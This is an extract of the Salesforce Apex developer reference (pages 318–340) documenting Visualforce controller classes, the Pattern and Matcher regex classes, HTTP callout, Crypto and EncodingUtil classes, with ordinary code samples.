public class sampleCon { String[] countries = new String[]{}; public PageReference test() { return null; } public List<SelectOption> getItems() { List<SelectOption> options = new List<SelectOption>(); options.add(new SelectOption('US','US')); options.add(new SelectOption('CANADA','Canada')); options.add(new SelectOption('MEXICO','Mexico')); return options; } public String[] getCountries() { return countries; } public void setCountries(String[] countries) { this.countries = countries; } }

318

Reference

Visualforce Classes

In the following page markup, the <apex:selectOptions> tag uses the getItems method from the controller above to retrieve the list of possible values. Because <apex:selectOptions> is a child of the <apex:selectCheckboxes> tag, the options are displayed as checkboxes:
<apex:page controller="sampleCon"> <apex:form> <apex:selectCheckboxes value="{!countries}"> <apex:selectOptions value="{!items}"/> </apex:selectCheckboxes><br/> <apex:commandButton value="Test" action="{!test}" rerender="out" status="status"/> </apex:form> <apex:outputPanel id="out"> <apex:actionstatus id="status" startText="testing..."> <apex:facet name="stop"> <apex:outputPanel> <p>You have selected:</p> <apex:dataList value="{!countries}" var="c">{!c}</apex:dataList> </apex:outputPanel> </apex:facet> </apex:actionstatus> </apex:outputPanel> </apex:page>

StandardController Class StandardController objects reference the pre-built Visualforce controllers provided by salesforce.com. The only time it is necessary to refer to a StandardController object is when defining an extension for a standard controller. StandardController is the data type of the single argument in the extension class constructor. Instantiation You can instantiate a StandardController in the following way:
ApexPages.StandardController sc = new ApexPages.StandardController(sObject);

Methods StandardController methods are all called by and operate on a particular instance of a StandardController. The table below describes the instance methods for StandardController. Name
cancel delete edit getId

Arguments

Return Type

Description

System.PageReference Returns the PageReference of the cancel page. System.PageReference Deletes record and returns the PageReference of the delete page. System.PageReference Returns the PageReference of the standard edit page. String Returns the ID of the record that is currently in context, based on the value of the id query string parameter in the Visualforce page URL.

319

Reference

Visualforce Classes

Name
getRecord

Arguments

Return Type SObject

Description Returns the record that is currently in context, based on the value of the id query string parameter in the Visualforce page URL. Note that only the fields that are referenced in the associated Visualforce markup are available for querying on this SObject. All other fields, including fields from any related objects, must be queried using a SOQL expression. Tip: You can work around this restriction by including a hidden component that references any additional fields that you want to query. Hide the component from display by setting the component's rendered attribute to false. For example:
<apex:outputText value="{!account.billingcity} {!account.contacts}" rendered="false"/>

save view

System.PageReference Saves changes and returns the updated PageReference. System.PageReference Returns the PageReference object of the standard detail page.

Example The following example shows how a StandardController object can be used in the constructor for a standard controller extension:
public class myControllerExtension { private final Account acct; // The extension constructor initializes the private member // variable acct by using the getRecord method from the standard // controller. public myControllerExtension(ApexPages.StandardController stdController) { this.acct = (Account)stdController.getRecord(); } public String getGreeting() { return 'Hello ' + acct.name + ' (' + acct.id + ')'; } }

The following Visualforce markup shows how the controller extension from above can be used in a page:
<apex:page standardController="Account" extensions="myControllerExtension"> {!greeting} <p/> <apex:form> <apex:inputField value="{!account.name}"/> <p/> <apex:commandButton value="Save" action="{!save}"/>

320

Reference

Visualforce Classes

</apex:form> </apex:page>

StandardSetController Class StandardSetController objects allow you to create list controllers similar to, or as extensions of, the pre-built Visualforce list controllers provided by salesforce.com. Instantiation You can instantiate a StandardSetController in either of the following ways: From a list of sObjects:
List<account> accountList = [SELECT name FROM Account LIMIT 20]; ApexPages.StandardSetController ssc = new ApexPages.StandardSetController(accountList);

From a query locator:

ApexPages.StandardSetController ssc = new ApexPages.StandardSetController(Database.getQueryLocator([SELECT name,closedate FROM Opportunity]));

Methods StandardSetController methods are all called by and operate on a particular instance of a StandardSetController. The table below describes the instance methods for StandardSetController. Name
cancel first getCompleteResult

Arguments

Return Type

Description

System.PageReference Returns the PageReference of the original page, if known, or the home page. Void Boolean Returns the first page of records. Indicates whether there are more records in the set than the maximum record limit. If this is false, there are more records than you can process using the list controller. The maximum record limit is 10,000 records. Returns the ID of the filter that is currently in context. Indicates whether there are more records after the current page set. Indicates whether there are more records before the current page set.

getFilterId getHasNext getHasPrevious getListViewOptions getPageNumber getPageSize

String Boolean Boolean

System.SelectOption[] Returns a list of the listviews available to the current user. Integer Integer Returns the page number of the current page set. Note that the first page returns 1. Returns the number of records included in each page set.

321

Reference

Visualforce Classes

Name
getRecord getRecords getResultSize getSelected last next previous save

Arguments

Return Type sObject sObject[] Integer sObject[] Void Void Void

Description Returns the sObject that represents the changes to the selected records. Returns the list of sObjects in the current page set. Returns the number of records in the set. Returns the list of sObjects that have been selected. Returns the last page of records. Returns the next page of records. Returns the previous page of records.

System.PageReference Inserts new records or updates existing records that have been changed. After this operation is finished, it returns a PageReference to the original page, if known, or the home page. String filterId Void Sets the filter ID of the controller. Sets the page number. Sets the number of records in each page set. Set the selected records.

setFilterID setpageNumber setPageSize setSelected

Integer pageNumber Void Integer pageSize sObjects[]

selectedRecords

Void Void

Example The following example shows how a StandardSetController object can be used in the constructor for a custom list controller:
public class opportunityList2Con { public ApexPages.StandardSetController setCon { get { if(setCon == null) { setCon = new ApexPages.StandardSetController(Database.getQueryLocator([select name,closedate from Opportunity])); } return setCon; } set; } public List<Opportunity> getOpportunities() { return (List<Opportunity>) setCon.getRecords(); } }

The following Visualforce markup shows how the controller above can be used in a page:
<apex:page controller="opportunityList2Con"> <apex:pageBlock > <apex:pageBlockTable value="{!opportunities}" var="o"> <apex:column value="{!o.name}"/> <apex:column value="{!o.closedate}"/> </apex:pageBlockTable> </apex:pageBlock> </apex:page>

322

Reference

Pattern and Matcher Classes

Pattern and Matcher Classes

A regular expression is a string that is used to match another string, using a specific syntax. Apex supports the use of regular expressions through its Pattern and Matcher classes. Note: In Apex, Patterns and Matchers, as well as regular expressions, are based on their counterparts in Java. See http://java.sun.com/j2se/1.5.0/docs/api/index.html?java/util/regex/Pattern.html.

Using Patterns and Matchers A Pattern is a compiled representation of a regular expression. Patterns are used by Matchers to perform match operations on a character string. Many Matcher objects can share the same Pattern object, as shown in the following illustration:

Figure 10: Many Matcher objects can be created from the same Pattern object Regular expressions in Apex follow the standard syntax for regular expressions used in Java. Any Java-based regular expression strings can be easily imported into your Apex scripts. Note: Salesforce.com limits the number of times an input sequence for a regular expression can be accessed to 1,000,000 times. If you reach that limit, you receive a runtime error. All regular expressions are specified as strings. Most regular expressions are first compiled into a Pattern object: only the String split method takes a regular expression that isn't compiled. Generally, after you compile a regular expression into a Pattern object, you only use the Pattern object once to create a Matcher object. All further actions are then performed using the Matcher object. For example:
// First, instantiate a new Pattern object "MyPattern" MyPattern = Pattern.compile('a*b'); // Then instantiate a new Matcher object "MyMatcher" Matcher MyMatcher = MyPattern.matcher('aaaaab'); // You can use the system static method assert to verify the match System.assert(MyMatcher.matches());

323

Reference

Pattern and Matcher Classes

If you are only going to use a regular expression once, use the Pattern class matches method to compile the expression and match a string against it in a single invocation. For example, the following is equivalent to the code above:
Boolean Test = Pattern.matches('a*b', 'aaaaab');

Using Regions A Matcher object finds matches in a subset of its input string called a region. The default region for a Matcher object is always the entirety of the input string. However, you can change the start and end points of a region by using the region method, and you can query the region's end points by using the regionStart and regionEnd methods. The region method requires both a start and an end value. The following table provides examples of how to set one value without setting the other. Start of the Region Specify explicitly Leave unchanged Reset to the default End of the Region Leave unchanged Specify explicitly Specify explicitly Code Example
MyMatcher.region(start, MyMatcher.regionEnd());

MyMatcher.region(MyMatcher.regionStart(), end);

MyMatcher.region(0, end);

Using Match Operations A Matcher object performs match operations on a character sequence by interpreting a Pattern. A Matcher object is instantiated from a Pattern by the Pattern's matcher method. Once created, a Matcher object can be used to perform the following types of match operations: Match the Matcher object's entire input string against the pattern using the matches method Match the Matcher object's input string against the pattern, starting at the beginning but without matching the entire region, using the lookingAt method Scan the Matcher object's input string for the next substring that matches the pattern using the find method

Each of these methods returns a Boolean indicating success or failure. After you use any of these methods, you can find out more information about the previous match, that is, what was found, by using the following Matcher class methods:
end: Once a match is made, this method returns the position in the match string after the last character that was matched. start: Once a match is made, this method returns the position in the string of the first character that was matched. group: Once a match is made, this method returns the subsequence that was matched.

Using Bounds By default, a region is delimited by anchoring bounds, which means that the line anchors (such as ^ or $) match at the region boundaries, even if the region boundaries have been moved from the start and end of the input string. You can specify whether a region uses anchoring bounds with the useAnchoringBounds method. By default, a region always uses anchoring bounds. If you set useAnchoringBounds to false, the line anchors match only the true ends of the input string. By default, all text located outside of a region is not searched, that is, the region has opaque bounds. However, using transparent bounds it is possible to search the text outside of a region. Transparent bounds are only used when a region no longer contains the entire input string. You can specify which type of bounds a region has by using the useTransparentBounds method.

324

Reference

Pattern and Matcher Classes

Suppose you were searching the following string, and your region was only the word STRING:
This is a concatenated STRING of cats and dogs.

If you searched for the word cat , you wouldn't receive a match unless you had transparent bounds set. Understanding Capturing Groups During a matching operation, each substring of the input string that matches the pattern is saved. These matching substrings are called capturing groups. Capturing groups are numbered by counting their opening parentheses from left to right. For example, in the regular expression string ((A)(B(C))), there are four capturing groups: 1. 2. 3. 4.
((A)(B(C))) (A) (B(C)) (C)

Group zero always stands for the entire expression. The captured input associated with a group is always the substring of the group most recently matched, that is, that was returned by one of the Matcher class match operations. If a group is evaluated a second time using one of the match operations, its previously captured value, if any, is retained if the second evaluation fails. Pattern and Matcher Example The Matcher class end method returns the position in the match string after the last character that was matched. You would use this when you are parsing a string and want to do additional work with it after you have found a match, such as find the next match. In regular expression syntax, ? means match once or not at all, and + means match 1 or more times. In the following example, the string passed in with the Matcher object matches the pattern since (a(b)?) matches the string 'ab' - 'a' followed by 'b' once. It then matches the last 'a' - 'a' followed by 'b' not at all.
pattern myPattern = pattern.compile('(a(b)?)+'); matcher myMatcher = myPattern.matcher('aba'); System.assert(myMatcher.matches() && myMatcher.hitEnd()); // We have two groups: group 0 is always the whole pattern, and group 1 contains // the substring that most recently matched--in this case, 'a'. // So the following is true: System.assert(myMatcher.groupCount() == 2 && myMatcher.group(0) == 'aba' && myMatcher.group(1) == 'a'); // Since group 0 refers to the whole pattern, the following is true: System.assert(myMatcher.end() == myMatcher.end(0)); // Since the offset after the last character matched is returned by end, // and since both groups used the last input letter, that offset is 3 // Remember the offset starts its count at 0. So the following is also true: System.assert(myMatcher.end() == 3 && myMatcher.end(0) == 3 && myMatcher.end(1) == 3);

325

Reference

Pattern and Matcher Classes

In the following example, email addresses are normalized and duplicates are reported if there is a different top-level domain name or subdomain for similar email addresses. For example, [email protected] is normalized to john@smithco.
class normalizeEmailAddresses{ public void hasDuplicatesByDomain(Lead[] leads) { // This pattern reduces the email address to 'john@smithco' // from 'john@*.smithco.com' or 'john@smithco.*' Pattern emailPattern = Pattern.compile('(?<=@)((?![\\w]+\\.[\\w]+$) [\\w]+\\.)|(\\.[\\w]+$)'); // Define a set for emailkey to lead: Map<String,Lead> leadMap = new Map<String,Lead>(); for(Lead lead:leads) { // Ignore leads with a null email if(lead.email != null) { // Generate the key using the regular expression String emailKey = emailPattern.matcher(lead.email).replaceAll(''); // Look for duplicates in the batch if(leadMap.containsKey(emailKey)) lead.email.addError('Duplicate found in batch'); else { // Keep the key in the duplicate key custom field lead.Duplicate_Key__c = emailKey; leadMap.put(emailKey, lead); } } } // Now search the database looking for duplicates for(Lead[] leadsCheck:[select Id, duplicate_key__c from Lead where duplicate_key__c IN :leadMap.keySet()]) { for(Lead lead:leadsCheck) { // If there's a duplicate, add the error. if(leadMap.containsKey(lead.Duplicate_Key__c)) leadMap.get(lead.Duplicate_Key__c).email.addError('Duplicate found in salesforce(id: ' + lead.id + ')'); } } } }

Pattern Methods The following are the system static methods for Pattern. Name
compile

Arguments String regExp

Return Type Pattern object

Descriptions Compiles the regular expression into a Pattern object. Compiles the regular expression regExp and tries to match it against s. This method returns true if the string s matches the regular expression, false otherwise. If a pattern is to be used multiple times, compiling it once and reusing it is more

matches

String regExp String s

Boolean

326

Reference

Pattern and Matcher Classes

Name

Arguments

Return Type

Descriptions efficient than invoking this method each time. Note that the following code example:
Pattern.matches(regExp, input);

produces the same result as this code example:

Pattern.compile(regex). matcher(input).matches();

quote

String s

String

Returns a string that can be used to create a pattern that matches the string s as if it were a literal pattern. Metacharacters (such as $ or ^) and escape sequences in the input string are treated as literal characters with no special meaning.

The following are the instance methods for Pattern. Name

matcher

Arguments String regExp

Return Type Matcher object

Description Creates a Matcher object that matches the input string regExp against this Pattern object. Returns the regular expression from which this Pattern object was compiled. Returns a list that contains each substring of the String that matches this pattern. The substrings are placed in the list in the order in which they occur in the String. If s does not match the pattern, the resulting list has just one element containing the original String.

pattern split

String String s String[]

split

String regExp Integer limit

String[]

Returns a list that contains each substring of the String that is terminated either by the regular expression regExp that matches this pattern, or by the end of the String. The optional limit parameter controls the number of times the pattern is applied and therefore affects the length of the list:

327

Reference

Pattern and Matcher Classes

Name

Arguments

Return Type

Description If limit is greater than zero, the pattern is applied at most limit - 1 times, the list's length is no greater than limit, and the list's last entry contains all input beyond the last matched delimiter. If limit is non-positive then the pattern is applied as many times as possible and the list can have any length. If limit is zero then the pattern is applied as many times as possible, the list can have any length, and trailing empty strings are discarded.

Matcher Methods The following are the system static methods for Matcher. Name
quoteReplacement

Arguments String s

Return Type String

Description Returns a literal replacement string for the specified string s. The characters in the returned string match the sequence of characters in s. Metacharacters (such as $ or ^) and escape sequences in the input string are treated as literal characters with no special meaning.

The following are the instance methods for Matcher. Name

end end

Arguments

Returns Integer

Description Returns the position after the last matched character. Returns the position after the last character of the subsequence captured by the group groupIndex during the previous match operation. If the match was successful but the group itself did not match anything, this method returns -1. Captured groups are indexed from left to right, starting at one. Group zero denotes the entire pattern, so the expression m.end(0) is equivalent to m.end().

Integer groupIndex

Integer

328

Reference

Pattern and Matcher Classes

Name

Arguments

Returns

Description See Understanding Capturing Groups on page 325.

find

Boolean

Attempts to find the next subsequence of the input sequence that matches the pattern. This method returns true if a subsequence of the input sequence matches this Matcher object's pattern. This method starts at the beginning of this Matcher object's region, or, if a previous invocation of the method was successful and the Matcher object has not since been reset, at the first character not matched by the previous match. If the match succeeds, more information can be obtained using the start, end, and group methods. For more information, see Using Regions on page 324.

find

Integer group

Boolean

Resets the Matcher object and then tries to find the next subsequence of the input sequence that matches the pattern. This method returns true if a subsequence of the input sequence matches this Matcher object's pattern. If the match succeeds, more information can be obtained using the start, end, and group methods.

group

String

Returns the input subsequence returned by the previous match. Note that some groups, such as (a*), match the empty string. This method returns the empty string when such a group successfully matches the empty string in the input.

group

Integer groupIndex

String

Returns the input subsequence captured by the specified group groupIndex during the previous match operation. If the match was successful but the specified group failed to match any part of the input sequence, null is returned. Captured groups are indexed from left to right, starting at one. Group zero denotes the entire pattern, so the expression m.group(0) is equivalent to m.group(). Note that some groups, such as (a*), match the empty string. This method returns the

329

Reference

Pattern and Matcher Classes

Name

Arguments

Returns

Description empty string when such a group successfully matches the empty string in the input. See Understanding Capturing Groups on page 325.

groupCount

Integer

Returns the number of capturing groups in this Matching object's pattern. Group zero denotes the entire pattern and is not included in this count. See Understanding Capturing Groups on page 325.

hasAnchoringBounds

Boolean

Returns true if the Matcher object has anchoring bounds, false otherwise. By default, a Matcher object uses anchoring bounds regions. If a Matcher object uses anchoring bounds, the boundaries of this Matcher object's region match start and end of line anchors such as ^ and $. For more information, see Using Bounds on page 324.

hasTransparentBounds

Boolean

Returns true if the Matcher object has transparent bounds, false if it uses opaque bounds. By default, a Matcher object uses opaque region boundaries. For more information, see Using Bounds on page 324.

hitEnd

Boolean

Returns true if the end of input was found by the search engine in the last match operation performed by this Matcher object. When this method returns true, it is possible that more input would have changed the result of the last search. Attempts to match the input sequence, starting at the beginning of the region, against the pattern. Like the matches method, this method always starts at the beginning of the region; unlike that method, it does not require the entire region be matched. If the match succeeds, more information can be obtained using the start, end, and group methods. See Using Regions on page 324.

lookingAt

Boolean

330

Reference

Pattern and Matcher Classes

Name
matches

Arguments

Returns Boolean

Description Attempts to match the entire region against the pattern. If the match succeeds, more information can be obtained using the start, end, and group methods. See Using Regions on page 324.

pattern region

Pattern object Integer start Integer end Matcher object

Returns the Pattern object from which this Matcher object was created. Sets the limits of this Matcher object's region. The region is the part of the input sequence that is searched to find a match. This method first resets the Matcher object, then sets the region to start at the index specified by start and end at the index specified by end. Depending on the transparency boundaries being used, certain constructs such as anchors may behave differently at or around the boundaries of the region. See Using Regions on page 324 and Using Bounds on page 324.

regionEnd

Integer

Returns the end index (exclusive) of this Matcher object's region. See Using Regions on page 324.

regionStart

Integer

Returns the start index (inclusive) of this Matcher object's region. See Using Regions on page 324.

replaceAll

String s

String

Replaces every subsequence of the input sequence that matches the pattern with the replacement string s. This method first resets the Matcher object, then scans the input sequence looking for matches of the pattern. Characters that are not part of any match are appended directly to the result string; each match is replaced in the result by the replacement string. The replacement string may contain references to captured subsequences. Note that backslashes (\) and dollar signs ($) in the replacement string may cause the results to be different than if the string was treated as a literal replacement string. Dollar signs may be treated as references to captured subsequences, and backslashes are used to

331

Reference

Pattern and Matcher Classes

Name

Arguments

Returns

Description escape literal characters in the replacement string. Invoking this method changes this Matcher object's state. If the Matcher object is to be used in further matching operations it should first be reset. Given the regular expression a*b, the input "aabfooaabfooabfoob", and the replacement string "-", an invocation of this method on a Matcher object for that expression would yield the string "-foo-foo-foo-".

replaceFirst

String s

String

Replaces the first subsequence of the input sequence that matches the pattern with the replacement string s. Note that backslashes (\) and dollar signs ($) in the replacement string may cause the results to be different than if the string was treated as a literal replacement string. Dollar signs may be treated as references to captured subsequences, and backslashes are used to escape literal characters in the replacement string. Invoking this method changes this Matcher object's state. If the Matcher object is to be used in further matching operations it should first be reset. Given the regular expression dog, the input "zzzdogzzzdogzzz", and the replacement string "cat", an invocation of this method on a Matcher object for that expression would return the string "zzzcatzzzdogzzz".

requireEnd

Boolean

Returns true if more input could change a positive match into a negative one. If this method returns true, and a match was found, then more input could cause the match to be lost. If this method returns false and a match was found, then more input might change the match but the match won't be lost. If a match was not found, then requireEnd has no meaning.

332

Reference

Pattern and Matcher Classes

Name
reset

Arguments

Returns Matcher object

Description Resets this Matcher object. Resetting a Matcher object discards all of its explicit state information. This method does not change whether the Matcher object uses anchoring bounds. You must explicitly use the useAnchoringBounds method to change the anchoring bounds. For more information, see Using Bounds on page 324.

reset

String s

Matcher

Resets this Matcher object with the new input sequence s. Resetting a Matcher object discards all of its explicit state information. Returns the start index of the first character of the previous match. Returns the start index of the subsequence captured by the group specified by groupIndex during the previous match operation. Captured groups are indexed from left to right, starting at one. Group zero denotes the entire pattern, so the expression m.start(0) is equivalent to m.start(). See Understanding Capturing Groups on page 325.

start start

Integer Integer groupIndex Integer

useAnchoringBounds Boolean b

Matcher object

Sets the anchoring bounds of the region for the Matcher object. By default, a Matcher object uses anchoring bounds regions. If you specify true for this method, the Matcher object uses anchoring bounds. If you specify false, non-anchoring bounds are used. If a Matcher object uses anchoring bounds, the boundaries of this Matcher object's region match start and end of line anchors such as ^ and $. For more information, see Using Bounds on page 324.

usePattern

Pattern pattern

Matcher object

Changes the Pattern object that the Matcher object uses to find matches. This method causes the Matcher object to lose information about the groups of the last match that occurred. The Matcher object's position in the input is maintained.

333

Reference

HTTP (RESTful) Services Classes

Name

Arguments

Returns Matcher object

Description Sets the transparency bounds for this Matcher object. By default, a Matcher object uses anchoring bounds regions. If you specify true for this method, the Matcher object uses transparent bounds. If you specify false, opaque bounds are used. For more information, see Using Bounds on page 324.

useTransparentBounds Boolean b

HTTP (RESTful) Services Classes

You can access HTTP services, also called RESTful services, using the following classes: HTTP Classes on page 334 Crypto Class on page 338 EncodingUtil Class on page 339

HTTP Classes These classes expose the general HTTP request/response functionality:
Http Class. Use this class to initiate an HTTP request and response. HttpRequest Class: Use this class to programmatically create HTTP requests like GET, POST, PUT, and DELETE. HttpResponse Class: Use this class to handle the HTTP response returned by HTTP.

The HttpRequest and HttpResponse classes support the following elements:

HttpRequest:

HTTP request types such as GET, POST, PUT, DELETE, TRACE, CONNECT, HEAD, and OPTIONS. Request headers if needed. Read and connection timeouts. Redirects if needed. Content of the message body.

HttpResponse:

The HTTP status code. Response headers if needed. Content of the response body.

The following example shows an HTTP GET request made to the external server specified by the value of url that gets passed into the getContent method. This example also shows accessing the body of the returned response:
public class HttpCalloutSample { // Pass in the endpoint to be used using the string url public String getContent(String url) { // Instantiate a new http object Http h = new Http();

334

Reference

HTTP (RESTful) Services Classes

// Instantiate a new HTTP request, specify the method (GET) as well as the endpoint HttpRequest req = new HttpRequest(); req.setEndpoint(url); req.setMethod('GET'); // Send the request, and return a response HttpResponse res = h.send(req); return res.getBody(); } }

Before you can access external servers from an endpoint or redirect endpoint using Apex or any other feature, you must add the remote site to a list of authorized remote sites in the Salesforce.com user interface. To do this, log in to Salesforce.com and select Setup Security Controls Remote Proxy Settings. Note: The AJAX proxy handles redirects and authentication challenges (401/407 responses) automatically. For more information about the AJAX proxy, see AJAX Toolkit documentation.
Http Class

Use the Http class to initiate an HTTP request and response. The Http class contains the following public methods: Name
send toString

Arguments HttpRequest
request

Return Type

Description

System.HttpResponse Sends an HttpRequest and returns the response. String Returns a string that displays and identifies the object's properties.

HttpRequest Class

Use the HttpRequest class to programmatically create HTTP requests like GET, POST, PUT, and DELETE. The HttpRequest class contains the following public methods: Name
getBody setBody getEndpoint setEndpoint getHeader setHeader

Arguments

Return Type String

Description Retrieve the body of this request. Set the contents of the body for this request. Limit: 100 KB. Retrieve the URL for the endpoint of the external server for this request. Set the URL for the endpoint of the external server for this request. Retrieve the contents of the request header. Set the contents of the request header. Limit 100 KB.

String body

Void String

String endpoint String key String key String Value

Void String Void

getMethod

String

Returns the type of method used by HttpRequest, for example, GET, POST, TRACE, PUT, HEAD, or DELETE.

335

Reference

HTTP (RESTful) Services Classes

Name
setMethod

Arguments String method

Return Type

Description Set the type of method to be used for the HTTP request, for example GET, POST, TRACE, PUT, HEAD, or DELETE. You can also use this method to set any required options.

setClientCertificate String clientCert

Void

String password
setCompressed setTimeout toString

If the server requires a client certificate for authentication, set the client certificate PKCS12 key store and password. If true, data in the body is delivered to the endpoint in gzip compressed format. If false, no compression format is used. Set the timeout in milliseconds for the request. This can be any value between 1 and 60,000 milliseconds. Return a string containing the URL for the endpoint of the external server for this request and the method used, for example :Endpoint=http://www.qaresponder.info,
Method=POST

Boolean flag Integer timeout

Void Void String

The following example illustrates how you can use an authorization header with a request, and handle the response:
public class AuthCallout { public void basicAuthCallout(){ HttpRequest req = new HttpRequest(); req.setEndpoint('http://www.yahoo.com'); req.setMethod('GET'); // Specify the required user name and password to access the endpoint // As well as the header and header information String username = 'myname'; String password = 'mypwd'; Blob headerValue = Blob.valueOf(username + ':' + password); String authorizationHeader = 'BASIC ' + EncodingUtil.base64Encode(headerValue); req.setHeader('Authorization', authorizationHeader); // Create a new http object to send the request object // A response object is generated as a result of the request Http http = new Http(); HTTPResponse res = http.send(req); System.debug(res.getBody()); } }

Compression If you need to compress the data you send, use setcompressed, as the following sample illustrates:
HttpRequest req = new HttpRequest(); req.setEndPoint('my_endpoint'); req.setCompressed(true);

336

Reference

HTTP (RESTful) Services Classes

req.setBody('some post body');

If a response comes back in compressed format, getBody automatically recognizes the format, uncompresses it, and returns the uncompressed value.
HttpResponse Class

Use the HttpResponse class to handle the HTTP response returned by HTTP. The HttpResponse class contains the following public methods: Name
getBody getHeader getHeaderKeys getStatus getStatusCode getXmlStreamReader

Arguments Return Type String String key String String[] String Integer XmlStreamReader

Description Retrieve the body returned in the response. Retrieve the contents of the response header. Retrieves an array of header keys returned in the response. Retrieve the status message returned for the response. Retrieve the value of the status code returned in the response. Returns an XmlStreamReader (XmlStreamReader Class) that parses the body of the callout response. Use it as a shortcut for:
String xml = httpResponse.getBody(); XmlStreamReader xsr = new XmlStreamReader(xml);

For a full example, see getXmlStreamReader example on page 337.

toString

String

Returns the status message and status code returned in the response, for example:
Status=OK, StatusCode=200

In the following getXmlStreamReader example, content is retrieved from an external Web server, then the XML is parsed using the XmlStreamReader class.
public class ReaderFromCalloutSample { public void getAndParse() { // Get the XML document from the external server Http http = new Http(); HttpRequest req = new HttpRequest(); req.setEndpoint('http://www.cheenath.com/tutorial/sample1/build.xml'); req.setMethod('GET'); HttpResponse res = http.send(req); // Log the XML content System.debug(res.getBody()); // Generate the HTTP response as an XML stream XmlStreamReader reader = res.getXmlStreamReader(); // Read through the XML while(reader.hasNext()) {

337

Reference

HTTP (RESTful) Services Classes

System.debug('Event Type:' + reader.getEventType()); if (reader.getEventType() == XmlTag.START_ELEMENT) { System.debug(reader.getLocalName()); } reader.next(); } } }

Crypto Class

External services and client applications typically negotiate a connection using the following steps: 1. The service challenges a client application's token. 2. The client application uses the token and their private keys and specific algorithm (Hmac-SHA1 for Amazon WebServices or RSA-SHA1 for Google's AuthSub interface, for example) to compute signatures to be sent back to the server as the authentication challenge response in an authorization header. Similarly, some services require a computing digests of credentials using specific algorithms (MD5 or SHA1 for example). The following utility methods in the Crypto class enable you to create a digest, message authentication code, or a signature to be sent with an authorization header to external services that require encryption, such as Google's AuthSub interface named gdata, or Amazon WebServices (AWS). Name
generateDigest

Arguments String
algorithmName

Return Type Description Blob Computes a secure, one-way hash digest based on the supplied input string and algorithm name. Valid values for algorithmName are: MD5, SHA1, etc. Computes a message authentication code (MAC) for the input string, using the private key and the specified algorithm. The only valid value for algorithmName is HmacSHA1. The value of privateKey does not need to be in decoded form. The value cannot exceed 4 KB. Integer Long Returns a random Integer. Returns a random Long. Computes a unique digital signature for the input string, using the supplied private key and the specified algorithm. The valid values for algorithmName are RSA-SHA1 or RSA. Both values represent the same algorithm. The value of privateKey must be decoded using the EncodingUtil base64Decode method, and should be in RSA's PKCS #8 (1.2) Private-Key Information Syntax Standard form. The value cannot exceed 4 KB. The following snippet is an example declaration and initialization:
String algorithmName = 'RSA'; String key = 'pkcs8 format private key'; Blob privateKey = EncodingUtil.base64Decode(key); Blob input = Blob.valueOf('12345qwerty'); Crypto.sign(algorithmName, input, privateKey);

Blob input
generateMac

String
algorithmName

Blob

Blob input Blob privateKey

getRandomInteger getRandomLong sign

String
algorithmName

Blob

Blob input Blob privateKey

338

Reference

HTTP (RESTful) Services Classes

The following example demonstrates an integration of Amazon WebServices with Salesforce.com:

public class HMacAuthCallout { public void testAlexaWSForAmazon() { // The date format is yyyy-MM-dd'T'HH:mm:ss.SSS'Z' DateTime d = System.now(); String timestamp = ''+ d.year() + '-' + d.month() + '-' + d.day() + '\'T\'' + d.hour() + ':' + d.minute() + ':' + d.second() + '.' + d.millisecond() + '\'Z\''; String timeFormat = d.formatGmt(timestamp); String urlEncodedTimestamp = EncodingUtil.urlEncode(timestamp, 'UTF-8'); String action = 'UrlInfo'; String inputStr = action + timeFormat; String algorithmName = 'HMacSHA1'; Blob mac = Crypto.generateMac(algorithmName, Blob.valueOf(inputStr), Blob.valueOf('your_signing_key')); String macUrl = EncodingUtil.urlEncode(EncodingUtil.base64Encode(mac), 'UTF-8'); String String String String urlToTest = 'amazon.com'; version = '2005-07-11'; endpoint = 'http://awis.amazonaws.com/'; accessKey = 'your_key';

HttpRequest req = new HttpRequest(); req.setEndpoint(endpoint + '?AWSAccessKeyId=' + accessKey + '&Action=' + action + '&ResponseGroup=Rank&Version=' + version + '&Timestamp=' + urlEncodedTimestamp + '&Url=' + urlToTest + '&Signature=' + macUrl); req.setMethod('GET'); Http http = new Http(); try { HttpResponse res = http.send(req); System.debug('STATUS:'+res.getStatus()); System.debug('STATUS_CODE:'+res.getStatusCode()); System.debug('BODY: '+res.getBody()); } catch(System.CalloutException e) { System.debug('ERROR: '+ e); } } }

EncodingUtil Class

Use the methods in the EncodingUtil class to encode and decode URL strings, and convert strings to hexadecimal format. Name
base64Decode base64Encode

Arguments

Return Type Description Converts a Base64-encoded String to a Blob representing its normal form. Converts a Blob to an unencoded String representing its normal form.

String inputString Blob Blob inputBlob String

339

Reference

Apex Approval Processing Classes

Name
convertToHex

Arguments Blob inputString

Return Type Description String Returns a hexadecimal (base 16) representation of the inputString. This method can be used to compute the client response (for example, HA1 or HA2) for HTTP Digest Authentication (RFC2617). Decodes a string in application/x-www-form-urlencoded format using a specific encoding scheme, for example UTF-8. This method uses the supplied encoding scheme to determine which characters are represented by any consecutive sequence of the from \"%xy\". For more information about the format, see The form-urlencoded Media Type in Hypertext Markup Language - 2.0. Encodes a string into the
application/x-www-form-urlencoded format using a

urlDecode

String inputString String String

encodingScheme

urlEncode

String inputString String String

encodingScheme

specific encoding scheme, for example UTF-8. This method uses the supplied encoding scheme to obtain the bytes for unsafe characters. For more information about the format, see The form-urlencoded Media Type in Hypertext Markup Language 2.0. Example:
String encoded = EncodingUtil.urlEncode(url, 'UTF-8');

Note: You cannot use the EncodingUtil methods to move documents with non-ASCII characters to Salesforce.com. You can, however, download a document from Salesforce.com. To do so, query the ID of the document using the API query call, then request it by ID. The following example illustrates how to use convertToHex to compute a client response for HTTP Digest Authentication (RFC2617):
global class SampleCode { static testmethod void testConvertToHex() { String myData = 'A Test String'; Blob hash = Crypto.generateDigest('SHA1',Blob.valueOf(myData)); String hexDigest = EncodingUtil.convertToHex(hash); System.debug(hexDigest); } }

Apex Approval Processing Classes

An automated process your organization can use to approve records in Salesforce.com. An approval process specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all records included in the process, or just records that have certain attributes. An approval process also specifies the actions to take when a record is approved, rejected, recalled, or first submitted for approval. Apex provides support for creating a programmatic approval process to extend your existing approval processes with the following:

340

Reference

Apex Approval Processing Classes

The Apex process classes: Use these to create approval requests, as well as process the results of those requests. For more information, see the following: ProcessRequest Class on page 342 ProcessResult Class on page 342 ProcessSubmitRequest Class on page 343 ProcessWorkitemRequest Class on page 343

The Approval namespace process method: Use this to submit an approval request, as well as approve or reject existing approval requests. For more information, see Approval Methods on page 254.

For more information on approval processes, see Getting Started with Approval Processes in the Salesforce.com online help. Apex Approval Processing Example The following sample code initially submits a record for approval, then approves the request. This example requires an approval process to be set up for accounts.
